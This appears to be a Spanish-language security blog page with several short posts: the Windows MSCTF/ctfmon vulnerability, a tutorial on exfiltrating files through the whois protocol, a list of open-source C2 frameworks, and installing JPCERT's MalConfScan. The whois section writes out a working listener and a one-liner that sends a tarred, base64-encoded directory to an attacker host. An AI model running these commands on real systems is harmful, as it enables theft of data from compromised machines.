Una #DEFCON muy especial

La semana pasada tuve el placer de asistir al mayor evento de seguridad informática del mundo: la #defcon en su edición número 27 y vamos a contar la experiencia...

De XP a Windows 10: explotando Microsoft CTF

Tavis Ormandy de Project Zero de Google ha publicado una vulnerabilidad que afecta a todas las versiones de Windows, desde XP a 10.

El problema está en el subsistema MSCTF que es parte del framework de servicios de texto o TSF (Text Service Framework). El TSF administra cosas como métodos de entrada, distribuciones de teclado, procesamiento de texto, etc.

Hay dos componentes principales, el servidor/monitor ctfmon y el cliente msctf. El servicio ctfmon arranca cuando se inicia sesión en la máquina como puedes comprobar simplemente viendo el administrador de tareas:


Este servicio crea un puerto ALPC (Local Inter-Process Communication) al que las aplicaciones se conectan para intercambiar mensajes sobre cambios en el layout del teclado o métodos de entrada. Cuando cualquier proceso crea una ventana, el kernel invoca una devolución de llamada o callback, USER32!CtfHookProcWorker, que carga automáticamente el cliente msctf.

El cliente se conecta al puerto ALPC y manda su HWND, el subproceso y la identificación del proceso.

El servidor espera continuamente los mensajes de los clientes, pero los clientes solo buscan mensajes cuando se les notifica a través de PostMessage(). Esta es la razón por la que los clientes llaman a RegisterWindowMessage() al inicio.

Exfiltrando información con un simple comando 'whois'

Hoy en día solemos abrir el navegador y usar servicios web de 'Whois' para consultar el dueño de un dominio o dirección IP. Pero no olvidemos que Whois es también un protocolo TCP que se creó en los años 80 y que todavía podemos usar desde la línea de comandos: sólo tenemos que tener el puerto 43/TCP abierto y podremos consultar directamente un dominio e información de AS e IP... ¿¿sólo??


Pues evidentemente y como habréis podido imaginar podemos usar también 'Whois' para el "mal", como por ejemplo exfiltrar información a través de este protocolo. Andy Kawa nos enseñaba un método sencillo para hacerlo. Veamos cómo...

En la máquina del atacante levantamos un netcat y lo dejamos a la escucha, volcando la salida también a un fichero:

ncat -k -l -p 4444 | tee files.b64

Y ahora, desde la máquina que hemos comprometido o desde la cual queremos transferirnos un fichero simplemente tenemos que empaquetar el directorio que queramos exfiltrar y mandarlo en base64 (recordar que tenemos que tener el puerto 43/TCP abierto). En mi caso, como veréis a continuación, en vez de mandar una cantidad determinada de bytes lo limitaré por número de caracteres:

tar czf - /path/to/directory/* | base64 | tr '\n' '\0' | xargs -0 -s 2000 timeout 0.03 whois -h attacker.machine.IP -p 4444


Una vez recibido el "stream" en base64 sólo tenemos que realizar los pasos a la inversa para obtener el binario:

$ file files.b64
files.b64: ASCII text, with very long lines, with CRLF line terminators


$ cat files.b64 | tr -d '\r\n\ ' | base64 -d > exfiltered.tar.gz 

$ file exfiltered.tar.gz
exfiltered.tar.gz: gzip compressed data, last modified: Mon Aug 11 02:47:24 2019, from Unix


Y ya está! tenemos en la máquina del atacante el fichero transferido.

Listado de frameworks de post-explotación/C2 de código abierto

Recientemente @xorrior, uno de los desarrolladores de Empire, anunciaba que no se iba a seguir dando soporte/actualizando su famoso framework de post-explotación. Pero tranquilos... estoy seguro que este maravilloso proyecto no morirá. Sirva de ejemplo que nuestro compi Luis Vacas, ayudado y animado por la Comunidad y los locos de Likor aka nos encargaremos de darle la coña, pronto actualizará e irá añadiendo funcionalidades nuevas al mod que tenemos en el github de Hackplayers (que además esperamos ver en directo en la conferencia h-c0n de 2020 ;-) ).

Mientras tanto y a propósito del anuncio de Empire, leía un post en PentestIT donde recopilaban una lista muy interesante con un montón de frameworks C2 de código abierto que pueden servir de alternativa. Muchos de ellos ya los hemos probado y escrito sobre ellos en el blog, otros simplemente tienen tan buena pinta que se hace imperativo probarlos. Os dejo la lista con dos o tres C2 más que conocía:

1. APfell: es un framework C2 multiplataforma, hecho con python3, docker, docker-compose y una interfaz de usuario nweb. Incluye soporte para múltiples perfiles C2, múltiples tipos de payload incluyendo una interesante extensión para Chrome y JavaScript para Automatización (JXA) en Mac OS. Y además mapea con MITRE ATT&CK. Curiosamente, este framework se inspira en familias de malware conocidas como PlugX, Flame, etc.

2. Aura Botnet: un framework orientado a botnets muy portable con un servidor C2 basado en Django. El cliente está escrito en C++, con clientes alternativos escritos en Rust, Bash y Powershell.

3. Covenant: lo que lo diferencia sobretodo este framework del resto es que admite .NET Core, que es multiplataforma. Por lo tanto, Covenant puede ejecutarse de forma nativa en plataformas Linux, MacOS y Windows. Además, Covenant tiene soporte para Docker, lo que le permite ejecutarse dentro de un contenedor en cualquier sistema que tenga instalado Docker. Consta de tres componentes: Covenant (componente del lado del servidor), Elite (componente del lado del cliente) y Grunt (implante).

4. Faction C2: Se centra en proporcionar una plataforma fácil, estable y accesible para las comunicaciones C2 a través de las API REST y Socket.IO. Podemos usar Marauder, un agente de .NET de ejemplo para Faction C2 Framework pero también podemos crear fácilmente nuestro propio agente. Además este framework tiene un sistema de control de acceso basado en roles y los datos pueden consultarse usando consultas SQL.

Extracción de configuración de malware con MalConfScan (plugin de Volatility)

Todos los días, se descubren nuevos tipos de malware. Sin embargo, muchos de ellos son en realidad variantes del malware existente: comparten la mayor parte del código y hay una ligera diferencia en la configuración, como los servidores de C&C. Por lo tanto, si obtenemos la configuración tendremos prácticamente lo más importante de un artefacto de malware.

Hoy en día no existen muchas herramientas que aglutinen extractores para un buen número de familias malware o, exceptuando CAPE, un excelente fork de Cuckoo-modified, yo al menos no conocía muchas. Pero recientemente JPCERT/CC ha publicado en Github MalConfScan, un plugin para The Volatility Framework que extrae datos de configuración de malware conocido, actualmente los siguientes:

Ursnif HawkEye
Emotet Lokibot
Smoke Loader Bebloh
PoisonIvy AZORult
CobaltStrike NanoCore RAT
NetWire AgentTesla
PlugX FormBook
RedLeave NodeRA
TSCookie njRAT
TSC_Loader TrickBot
xxmm Remcos
Datper QuasarRAT
Ramnit Pony (pte)

Como decimos, MalConfScan busca malware en las imágenes de memoria y descarga los datos de configuración. Pero además, esta herramienta tiene una función para enumerar cadenas a las que se refiere el código malicioso.

- malconfscan: extrae la configuración de malware conocido de una imagen de memoria
- malstrscan: detecta procesos sospechosos de una imagen de memoria y enumera la string a la que se refiere

Instalación de MalConfScan

Clonar MalConfScan de repo de Github

$ git clone https://github.com/JPCERTCC/MalConfScan.git

Instalación de requisitos de Python

$ pip install -r MalConfScan/requirements.txt

Copiar MalConfScan a la carperta de plugins de Volatility

$ cd MalConfScan
$ cp -R malconfscan.py utils yara [Extract Volatility Folder]/volatility/plugin/malware